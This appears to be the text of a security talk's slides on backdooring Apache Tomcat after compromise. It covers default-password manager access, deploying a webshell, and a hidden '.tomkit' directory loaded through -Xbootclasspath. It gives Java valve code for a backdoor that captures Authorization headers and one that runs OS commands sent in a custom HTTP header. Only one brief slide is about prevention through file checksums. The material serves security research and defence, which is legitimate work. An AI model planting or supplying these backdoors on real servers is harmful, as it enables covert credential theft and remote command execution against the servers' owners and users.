“I like it there, I think I will stay…”

<louis@securusglobal.com>

`id`

- French Security Consultant working for SG in Melbourne
- Did/do a lot of web pentests
- Research focus on web:
  - Web scanners/WAF testing
  - Automatic Web Vulnerabilities detection/exploitation
  - Anything starting by http:// and https://

Let's pretend… I'm a malicious person and I compromised a web server…
… and I want to keep this access and retrieve sensitive information…

Compromising a tomcat server

- Tomcat manager with or without CVE-2008-1760 (%252e%252e):
  - Default password (admin:/tomcat:tomcat/…)
  - Access to the tomcat manager
  - Deploy a webshell (.war file)
- Application issues:
  - Code execution
  - Upload of a jsp file that will get interpreted

Backdooring a tomcat server…

- Why?
  - No root access
  - Tcpdump and SSL don’t mix
  - Less common
- How?
  - Using valves
  - Using the Java LD_PRELOAD: -Xbootclasspath
  - By modifying directly the source code and putting a new version of tomcat

Tomcat’s valves

A Valve element represents a component that will be inserted into the request processing pipeline for the associated Catalina container.

Tomcat Hooking and preload

- Tell Java to load our classes before Tomcat's ones
- Just an extra line in Tomcat's startup script

```
JAVA_OPTS="-Xbootclasspath/p:$CATALINA_BASE/.tomkit"
```

- And a hidden directory containing all the backdoor classes.

Tomkit – Examples of backdoor

- Authentication sniffer
- Credit Card Number sniffer
- Execute commands

Tomkit… authentication sniffer

```
public void invoke(Request request, Response response )
  throws IOException, ServletException {
    String basic = (String) request.getHeader("Authorization");
    String header = (String) request.getHeader("Tomkit");
    if (basic!=null) {
      data+= "\t"+basic;
    }
    if (header!= null) {
      Writer writer = response.getReporter();
      if (writer != null) {
        writer.write(data);
        data="";
      }
[...]
```

Tomkit… commands execution

```
public void invoke(Request request, Response response )
  throws IOException, ServletException {
  String cmd = (String) request.getHeader("Tomkit");
  String s="";
  if (cmd!= null) {
    Writer writer = response.getReporter();
    Process p = Runtime.getRuntime().exec(cmd,null,null);
    BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null) {
      writer.write(s);
    }
  }
[...]
```

How to prevent this…

- Don’t get compromised in the first place
- Compute checksum of your important files and compare them regularly (aide/tripwire)

Questions ?

<louis@securusglobal.com>